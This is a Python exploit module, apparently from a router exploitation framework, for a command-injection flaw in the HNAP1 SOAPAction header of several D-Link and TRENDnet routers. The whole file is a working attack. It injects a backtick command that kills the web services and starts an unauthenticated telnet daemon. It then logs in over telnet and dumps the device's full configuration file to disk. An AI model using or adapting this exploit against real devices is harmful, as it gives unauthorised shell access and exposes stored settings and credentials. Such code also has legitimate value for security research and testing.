# Name:D-link SOAPAction header command execution vulnerability
# File:dir890l_soapaction.py
# Author:Ján Trenčanský
# License: GNU GPL v3
# Created: 21.12.2015
# Last modified: 21.12.2015
# Shodan Dork:
# Description: Command execution vulnerability for:
# DAP-15522 revB, DAP-1650 revB, DIR-880L, DIR-865L, DIR-860L revA revB, DIR-815 revB, DIR-300 revB,
# DIR-600 revB, DIR-645, TEW-751DR, TEW-733GR
# Based on: http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/

import core.Exploit
import core.io

import requests
import telnetlib
import interface.utils
from core.io import query_yes_no, writetextfile
from interface.messages import print_error, print_success, print_help, print_info, print_warning


class Exploit(core.Exploit.RextExploit):
    """
Name:D-link SOAPAction header command execution vulnerability
File:dir890l_soapaction.py
Author:Ján Trenčanský
License: GNU GPL v3
Created: 21.12.2015
Description: Command execution vulnerability for:
    DAP-15522 revB, DAP-1650 revB, DIR-880L, DIR-865L, DIR-860L revA revB, DIR-815 revB, DIR-300 revB,
    DIR-600 revB, DIR-645, TEW-751DR, TEW-733GR
Based on: http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/

Options:
    Name        Description

    host        Target host address
    port        Target port
    command     Command to execute e.g. cat var/passwd
    """
    command = ""

    def __init__(self):
        self.command = "killall httpd; killall hnap; telnetd -p %s" % self.port
        core.Exploit.RextExploit.__init__(self)

    def do_set(self, e):
        args = e.split(' ')
        try:
            if args[0] == "host":
                if interface.utils.validate_ipv4(args[1]):
                    self.host = args[1]
                else:
                    print_error("please provide valid IPv4 address")
            elif args[0] == "port":
                if str.isdigit(args[1]):
                    self.port = args[1]
                else:
                    print_error("port value must be integer")
            elif args[0] == "command":
                self.command = ' '.join(args[1:])
        except IndexError:
            print_error("please specify value for variable")

    def do_command(self, e):
        print_info(self.command)

    def help_command(self):
        print_help("Prints current value of command")

    def do_run(self, e):
        url = "http://%s:%s/HNAP1" % (self.host, self.port)

        headers = {"SOAPAction": '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % self.command}
        try:
            print_warning("Sending exploit")
            requests.post(url, headers=headers, timeout=60)
            print_warning("HTTPd is still responding this is OK if you changed the payload")
        except requests.ConnectionError:
            print_success("exploit sent.")
            answer = query_yes_no("Do you wish to dump all system settings? (if telned was started)")
            if answer is True:
                tn = telnetlib.Telnet(self.host, self.port)
                print_info("Sending command through telnet")
                tn.read_until(b'#', timeout=15)
                tn.write(b"xmldbc -d /var/config.xml; cat /var/config.xml\n")
                response = tn.read_until(b'#', timeout=15)
                tn.close()
                print_info("Writing response to config.xml")
                writetextfile(response.decode('ascii'), "config.xml")
                print_warning("Don't forget to restart httpd or reboot the device")
        except requests.Timeout:
            print_error("timeout")
Exploit()